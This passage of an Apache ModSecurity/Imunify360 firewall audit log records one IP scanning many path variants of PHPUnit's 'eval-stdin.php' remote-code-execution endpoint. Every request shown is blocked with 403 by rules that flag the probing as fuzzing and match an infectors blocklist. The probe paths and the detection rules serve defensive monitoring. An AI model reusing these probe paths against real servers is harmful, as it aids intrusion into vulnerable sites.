Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKiGM7dE9KgIIOpQhtsAAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKiGM7dE9KgIIOpQhtsAAAAME"]
Action: Intercepted (phase 2)
Stopwatch: 1789282952212065 57593 (- - -)
Stopwatch2: 1789282952212065 57593; combined=56117, p1=278, p2=55544, p3=0, p4=0, p5=294, sr=118, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bec6ce18-Z--
--4f4be018-A--
[13/Sep/2026:10:02:34.404348 +0300] aqZKimM7dE9KgIIOpQhtsQAAAMU 106.51.22.217 34862 127.0.0.1 7081
--4f4be018-B--
GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--4f4be018-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--4f4be018-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKimM7dE9KgIIOpQhtsQAAAMU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKimM7dE9KgIIOpQhtsQAAAMU"]
Action: Intercepted (phase 2)
Stopwatch: 1789282954344900 59497 (- - -)
Stopwatch2: 1789282954344900 59497; combined=57349, p1=487, p2=56352, p3=0, p4=0, p5=509, sr=226, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4f4be018-Z--
--cc08b60b-A--
[13/Sep/2026:10:02:36.334480 +0300] aqZKjGM7dE9KgIIOpQhtswAAANA 106.51.22.217 37758 127.0.0.1 7081
--cc08b60b-B--
GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--cc08b60b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--cc08b60b-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKjGM7dE9KgIIOpQhtswAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKjGM7dE9KgIIOpQhtswAAANA"]
Action: Intercepted (phase 2)
Stopwatch: 1789282956279194 55330 (- - -)
Stopwatch2: 1789282956279194 55330; combined=53601, p1=308, p2=52972, p3=0, p4=0, p5=321, sr=132, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cc08b60b-Z--
--3e631779-A--
[13/Sep/2026:10:02:39.099806 +0300] aqZKj2M7dE9KgIIOpQhttAAAANQ 106.51.22.217 37772 127.0.0.1 7081
--3e631779-B--
GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--3e631779-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3e631779-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKj2M7dE9KgIIOpQhttAAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKj2M7dE9KgIIOpQhttAAAANQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789282959044567 60178 (- - -)
Stopwatch2: 1789282959044567 60178; combined=53842, p1=349, p2=52960, p3=0, p4=0, p5=533, sr=150, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3e631779-Z--
--9c7da228-A--
[13/Sep/2026:10:02:41.470333 +0300] aqZKkTTJ6xTvcJoem7f43AAAAEw 106.51.22.217 37784 127.0.0.1 7081
--9c7da228-B--
GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--9c7da228-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9c7da228-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKkTTJ6xTvcJoem7f43AAAAEw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKkTTJ6xTvcJoem7f43AAAAEw"]
Action: Intercepted (phase 2)
Stopwatch: 1789282961411594 58783 (- - -)
Stopwatch2: 1789282961411594 58783; combined=54587, p1=370, p2=53861, p3=0, p4=0, p5=355, sr=126, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9c7da228-Z--
--680c0029-A--
[13/Sep/2026:10:02:43.648572 +0300] aqZKk2M7dE9KgIIOpQhttgAAAMM 106.51.22.217 37810 127.0.0.1 7081
--680c0029-B--
GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--680c0029-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--680c0029-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKk2M7dE9KgIIOpQhttgAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKk2M7dE9KgIIOpQhttgAAAMM"]
Action: Intercepted (phase 2)
Stopwatch: 1789282963589094 59575 (- - -)
Stopwatch2: 1789282963589094 59575; combined=58246, p1=241, p2=57695, p3=0, p4=0, p5=309, sr=103, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--680c0029-Z--
--91143335-A--
[13/Sep/2026:10:02:45.639153 +0300] aqZKlWM7dE9KgIIOpQhttwAAAMw 106.51.22.217 33356 127.0.0.1 7081
--91143335-B--
GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--91143335-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--91143335-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKlWM7dE9KgIIOpQhttwAAAMw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKlWM7dE9KgIIOpQhttwAAAMw"]
Action: Intercepted (phase 2)
Stopwatch: 1789282965579852 59359 (- - -)
Stopwatch2: 1789282965579852 59359; combined=56082, p1=352, p2=55252, p3=0, p4=0, p5=478, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--91143335-Z--
--20ccd679-A--
[13/Sep/2026:10:02:47.928045 +0300] aqZKl0wu1RSkptiiNIX1KQAAAJE 106.51.22.217 33370 127.0.0.1 7081
--20ccd679-B--
GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--20ccd679-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--20ccd679-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKl0wu1RSkptiiNIX1KQAAAJE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKl0wu1RSkptiiNIX1KQAAAJE"]
Action: Intercepted (phase 2)
Stopwatch: 1789282967867776 60450 (- - -)
Stopwatch2: 1789282967867776 60450; combined=57546, p1=464, p2=56013, p3=0, p4=0, p5=1068, sr=192, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--20ccd679-Z--
--c452896d-A--
[13/Sep/2026:10:02:49.675336 +0300] aqZKmUwu1RSkptiiNIX1KgAAAIM 106.51.22.217 33378 127.0.0.1 7081
--c452896d-B--
GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--c452896d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c452896d-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKmUwu1RSkptiiNIX1KgAAAIM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKmUwu1RSkptiiNIX1KgAAAIM"]
Action: Intercepted (phase 2)
Stopwatch: 1789282969599079 76319 (- - -)
Stopwatch2: 1789282969599079 76319; combined=59856, p1=3906, p2=55669, p3=0, p4=0, p5=281, sr=1223, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c452896d-Z--
--aa49d31b-A--
[13/Sep/2026:10:02:51.574425 +0300] aqZKm0wu1RSkptiiNIX1KwAAAI4 106.51.22.217 33386 127.0.0.1 7081
--aa49d31b-B--
GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--aa49d31b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--aa49d31b-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/laravel/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
